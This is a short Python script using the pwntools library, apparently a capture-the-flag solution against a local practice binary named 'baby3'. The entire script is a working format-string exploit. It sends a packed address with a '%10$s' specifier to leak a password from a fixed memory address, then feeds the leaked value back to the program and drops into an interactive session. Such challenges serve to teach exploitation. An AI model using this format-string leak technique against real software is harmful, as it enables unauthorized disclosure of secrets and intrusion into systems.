from pwn import *

r=process("./baby3")

password_addr = 0x804a048

r.recvuntil("?")

r.sendline(p32(password_addr) + "..." + "%10$s" + "..." )
r.recvuntil("...")
p = r.recvuntil("...")

password = u32(p[:4])
r.recvuntil(":")
r.sendline(str(password))
r.interactive()
